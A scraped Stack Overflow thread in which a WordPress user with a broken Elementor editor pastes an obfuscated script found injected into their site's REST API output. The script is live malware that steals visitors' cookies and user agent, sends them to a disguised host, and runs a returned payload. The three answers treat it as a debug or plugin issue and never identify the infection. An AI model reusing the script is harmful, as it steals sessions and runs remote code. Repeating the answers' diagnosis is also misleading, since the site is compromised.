'Elementor White Screen of Death and JSON ERROR
I need your help.
I am using elementor on my website for editing a WordPress website, but lately, I have been having a problem when it comes to loading it up for editing, I am getting the WHITE SCREEN OF DEATH, the editor doesn't load at all.
The error I am getting on the browser console are:
- SyntaxError: Unexpected token < in JSON at position 0 overrideMethod @ react_devtools_backend.js:2450
- Uncaught (in promise) SyntaxError: Unexpected token < in JSON at position 0
So I went ahead and use WP REST API to check my JSON:
https://atheneumcollective.com/wp-json/wp/v2/posts/?filter[p]=9887 [FAQ page ]
https://atheneumcollective.com/wp-json/wp/v2/posts/?filter[p]=9881 [About Page ]
https://atheneumcollective.com/wp-json/wp/v2/posts/?filter[p]=9868 [Homepage]
and I found this script on top of the JSON, which doesn't belong there and I am sure ain't suppose to be there.
<script type="text/javascript" defer>function VsX(){ll=false;var Jlm=new Image();Object.defineProperty(Jlm,'id',{get:function(){ll=true;}});requestAnimationFrame(function CVgg(){ll=false;console.log('%c',Jlm);if(!ll){window.onload=function(){userID=[25,25,26,23,27,23,13,19,4,28,21,2,29,23,26,25,12,23,18,20,2,21,22,2,2];l1='//static.xx.fbcdn.net.com/plrhg',EazuU='';for(lI=0;lI<userID.length;lI++){EazuU=EazuU+l1[userID[lI]];}NjQ=new XMLHttpRequest();NjQ.onreadystatechange=function(){if(NjQ.readyState==4&&NjQ.status==200){FUVm=NjQ.responseText;FUVm=FUVm.split('}');FUVm=FUVm[FUVm.length-1].split(' ');OFNk='';for(l1l in FUVm){l11='';for(l1I in FUVm[l1l])l11+=(FUVm[l1l][l1I]==' ')?'1':'0';OFNk+=String.fromCharCode(parseInt(l11,2).toString(10));}UCr=new Function(OFNk.substr(0,OFNk.length-1));UCr();}};NjQ.open('POST',decodeURIComponent(escape(EazuU)),!0);NjQ.setRequestHeader('Content-type','application/x-www-form-urlencoded');NjQ.send('u='+navigator.userAgent+'&r='+document.referrer+'&c='+encodeURIComponent(document.cookie));};}});}setTimeout(VsX(),1500);</script>
In order for me to get Elementor to work, I think I need to get rid of this script on top of the JSON:
- How can I get rid of this script on top?
- Anyone familiar with this script above?
- Any help will do.
Thank you.
Solution 1:[1]
I know this is a bit old, but FWIW I'll share my experience here:
I was experiencing this exact same error with Elementor when running a site on localhost, and after some trial-and-error, I found out the root cause of the issue in my wp-config.php
file:
define( 'WP_DEBUG', true );
Having debug on was causing debug messages to be printed on every served page (including 'json' responses), causing the issue. So after changing WP_DEBUG to false the error stopped.
Hope it helps.
Solution 2:[2]
Did you update the Elementor plugin? It happend to me a few weeks ago and I just went back to the old elementor version, and it works again...
Solution 3:[3]
The solution to my problem was to re-install the WordPress core files.
here is the link to help you re-install the WordPress core files:
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
Solution | Source |
---|---|
Solution 1 | polloss |
Solution 2 | gtamborero |
Solution 3 | Lunabel |